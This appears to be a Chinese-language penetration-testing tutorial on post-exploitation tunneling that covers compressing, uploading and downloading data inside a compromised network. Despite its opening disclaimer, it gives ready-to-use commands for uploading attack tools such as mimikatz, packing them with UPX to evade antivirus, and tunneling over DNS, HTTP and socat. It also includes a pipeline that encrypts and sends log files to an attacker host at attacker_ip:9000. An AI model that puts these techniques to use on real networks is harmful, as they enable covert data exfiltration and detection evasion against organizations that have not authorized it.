内网后渗透攻击--隐藏通信隧道技术(压缩、上传,下载)
用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
在渗透测试中,上传,下载数据是一项重要工作,而压缩技术能够给下载、上传带来很好的便利
接下来先介绍一下这三个技术,以及相关工具
压缩、上传、下载是隧道技术的核心功能:
- 压缩:减少传输数据量,降低流量特征的显著性,同时提高传输效率(尤其在内网带宽有限时);
- 上传:向受控内网主机传输攻击工具、配置文件等;
- 下载:从内网主机获取敏感数据(如账号密码、日志文件、数据库备份等)。
一、压缩:减少流量特征,提升传输效率
1. 核心原理
内网环境通常存在带宽限制或流量监控(如 IDS 对 “大量小数据包”“异常流量体积” 的告警),压缩的核心作用是:
- 减小数据体积:通过算法降低传输数据的大小,减少数据包数量,降低被安全设备识别为 “异常流量” 的概率(例如:10MB 的工具压缩为 2MB,可减少 80% 的传输包);
- 模糊流量特征:压缩后的数据呈现 “无序二进制” 特征,难以通过深度包检测(DPI)识别原始内容(如明文攻击指令、工具特征码),增强隐蔽性。
2. 常用压缩算法与场景
- gzip/zlib:轻量级压缩算法,压缩率中等,速度快,适合小文件(如脚本、配置文件)或实时传输场景(如隧道指令交互);
- lzma/7z:高压缩率算法,适合大文件(如数据库备份、日志文件),但压缩 / 解压耗时较长,需在 “隐蔽性” 和 “效率” 间权衡;
- Base64 + 压缩:先压缩再用 Base64 编码(将二进制转为可打印字符),适配 “文本协议隧道”(如 DNS TXT 记录、HTTP 表单),避免二进制数据在文本协议中被过滤。
3. 工具中的压缩实现
- 自带压缩功能的隧道工具:
- Chisel:反向 SOCKS 隧道工具,支持内置 gzip 压缩(启动时通过
--compress
参数开启),传输文件时自动压缩,适合 HTTP 隧道场景; - Tunna:HTTP 隧道工具,在上传 / 下载文件时默认启用 zlib 压缩,可通过
-z
参数强制压缩,尤其适合传输大文件(如 100MB 以上的数据包)。
- Chisel:反向 SOCKS 隧道工具,支持内置 gzip 压缩(启动时通过
- 需配合外部工具的压缩:
- 若隧道工具无内置压缩,可先通过
7z
(7z a -tzip tool.zip tool.exe
)或gzip
(gzip -9 tool.sh
)压缩文件,再通过隧道传输,受控端接收后解压(如7z x tool.zip
); - 示例:将内网攻击工具
mimikatz.exe
用 7z 压缩为mimi.7z
(体积从 1.5MB 降至 300KB),通过 DNS 隧道分段传输,降低流量暴露风险。
- 若隧道工具无内置压缩,可先通过
二、上传:向内网注入工具 / 配置,支撑后续攻击
1. 核心原理
内网后渗透中,需向受控主机上传攻击工具(如扫描器、提权脚本)、配置文件(如代理规则、隧道参数)等,上传的核心挑战是:
- 绕过上传限制:内网防火墙可能限制 “非标准端口”“大文件”“特定后缀(如.exe、.sh)” 的上传;
- 隐蔽传输:避免上传行为被日志记录(如 Web 服务器的
access.log
记录 “异常文件上传”)或被 DPI 识别为 “恶意工具特征”。
2. 上传实现方式
- 分段传输:将大文件拆分为小块(如 1KB / 块),通过隧道协议的 “数据帧” 逐段传输,受控端接收后重组(避免单包过大触发告警);
- 协议封装:将文件内容封装到 “合法协议字段” 中(如 HTTP 的
POST Body
、DNS 的子域名、ICMP 的data
字段),伪装成正常业务流量; - 特征混淆:对上传文件进行 “加壳 / 加密 + 压缩”(如用 UPX 加壳
mimikatz.exe
,再压缩为mimi.upx.gz
),避免被 AV/EDR 识别原始特征。
3. 工具中的上传应用
- reGeorg + Proxifier:
先在受控 Web 服务器部署 reGeorg 脚本(如tunnel.php
),本地通过 Proxifier 将浏览器 / 工具流量代理至隧道,再通过curl
或浏览器向受控端上传文件:# 本地通过隧道向受控端(192.168.1.100)上传工具 proxychains curl -X POST http://192.168.1.100/tunnel.php -F "file=@tool.exe"
- dnscat2:
DNS 隧道工具,支持upload
命令直接上传文件,且自动对文件进行 Base64 编码 + 压缩(适配 DNS 文本协议):# 控制端向受控端上传压缩后的配置文件 dnscat2> upload config.zip /tmp/config.zip
- socat + 压缩管道:
利用 socat 建立 TCP 隧道,结合 gzip 实现 “压缩 + 上传”,适合纯 TCP 隧道场景:# 本地压缩文件并通过socat隧道上传至受控端(192.168.1.100:8080) gzip -c tool.sh | socat - TCP4:192.168.1.100:8080 # 受控端接收并解压 socat TCP4-LISTEN:8080 - | gunzip -c > tool.sh
三、下载:从内网提取敏感数据,实现攻击目标
1. 核心原理
下载是内网后渗透的最终目标之一(如提取域控 hash、数据库数据、员工信息),核心挑战是:
- 大文件传输:敏感数据常以大文件形式存在(如 10GB 的日志、2GB 的数据库备份),需解决 “断点续传”“分段校验” 问题;
- 反溯源:避免下载行为被日志记录(如 “内网主机向外部 IP 传输大文件” 的告警),需隐藏下载源头与目的地。
2. 下载实现方式
- 分段校验下载:将大文件按固定大小(如 1MB / 段)拆分,每段附加校验值(如 MD5),受控端逐段发送,控制端接收后校验重组(避免传输中断导致重传全部数据);
- 反向下载:由受控端主动向控制端 “推送” 数据(而非控制端 “拉取”),规避 “外部 IP 主动向内网请求大文件” 的告警(如反向 HTTP POST、反向 DNS 查询);
- 加密 + 压缩下载:先对敏感数据加密(如 AES-256),再压缩,最后通过隧道传输,确保即使被拦截也无法解密内容。
3. 工具中的下载应用
- dnscat2:
支持download
命令从受控端下载文件,自动处理分段与校验,适合小至中等文件(如 100MB 以内):# 从受控端/tmp/域控hash.txt下载文件到本地 dnscat2> download /tmp/hash.txt local_hash.txt
- Tunna:
专为文件传输优化的 HTTP 隧道工具,支持大文件断点续传,通过-f
和-download
参数实现下载:# 本地通过Tunna隧道从受控Web服务器下载敏感日志 python tunna.py -u http://192.168.1.100/shell.php -l 8080 -f /var/log/sensitive.log -download
- socat + 加密压缩管道:
适合大文件(如 1GB 以上)下载,结合openssl
加密和gzip
压缩,示例:# 受控端:加密压缩日志文件并通过socat推送到控制端(attacker_ip:9000) cat /var/log/nginx/access.log | gzip -c | openssl enc -aes-256-cbc -k password | socat - TCP4:attacker_ip:9000 # 控制端:接收并解密解压 socat TCP4-LISTEN:9000 - | openssl enc -d -aes-256-cbc -k password | gunzip -c > nginx_log.txt
下一篇文章再讲解相关工具,压缩有RAR、7-ZIP,上传有FTP协议,VBS,Debug,Nishang,下载有bitsadmin,PowerShell。